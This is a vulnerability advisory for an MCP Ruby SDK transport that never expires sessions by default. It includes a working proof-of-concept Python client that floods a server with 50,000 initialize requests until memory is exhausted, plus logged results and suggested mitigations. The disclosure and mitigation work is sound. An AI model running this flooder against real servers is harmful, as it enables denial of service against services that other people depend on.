CVE-2026-67430

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil), the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout, when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Suggested mitigation

1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.